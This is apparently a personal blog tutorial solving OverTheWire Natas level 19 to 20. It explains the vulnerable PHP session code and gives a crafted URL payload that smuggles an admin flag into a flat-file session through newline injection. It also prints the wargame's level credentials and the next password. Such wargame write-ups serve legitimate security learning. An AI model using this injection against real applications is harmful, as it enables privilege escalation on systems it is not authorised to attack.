Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 19 → 20 tutorial!!

Login

URL: http://natas20.natas.labs.overthewire.org Credentials: natas19:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

# Using curl (optional):
curl -u natas19:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw 
  http://natas20.natas.labs.overthewire.org/

homepage


Task

This level uses a custom session handler that stores session data in flat files. Our goal: exploit how it writes values to inject admin 1 into the session.


A little bit of Theory

From the code:

foreach($_SESSION as $key => $value) {
    $data .= "$key $value\n";
}
  • Each key/value is written to the session file with a newline separator.
  • When the file is reloaded, those lines are split back into $_SESSION variables.

This allows us to smuggle in arbitrary session values using newline injection.

The condition for credentials:

if ($_SESSION["admin"] == 1) {
   // print password
}

So if we can force a line admin 1 into the session, we escalate to admin.


Solution

Step 1: Turn on debug

Visit:

http://natas20.natas.labs.overthewire.org/index.php?debug

Enter a name like natas, submit → you’ll see debug output showing how the session file is written.

debug


Step 2: Inject a newline

We send a specially crafted name parameter:

admin%0Aadmin%201
  • %0A → newline
  • %20 → space

So the full URL:

http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201

Now the session file looks like:

name admin
admin 1

When read, this sets $_SESSION["admin"] = 1.


Step 3: Profit 🎉

Reload the page → you’ll see the credentials for natas21.

owned


Password

BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

Troubleshooting

  • Still not admin? → Double-check the encoding (%0A for newline, %20 for space).
  • No debug output? → Make sure you added ?debug to the URL.
  • Session not updating? → Refresh or clear cookies to force reload.

Boom 🎉 You just exploited a newline injection in custom session storage to escalate to admin and recover the next password.


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with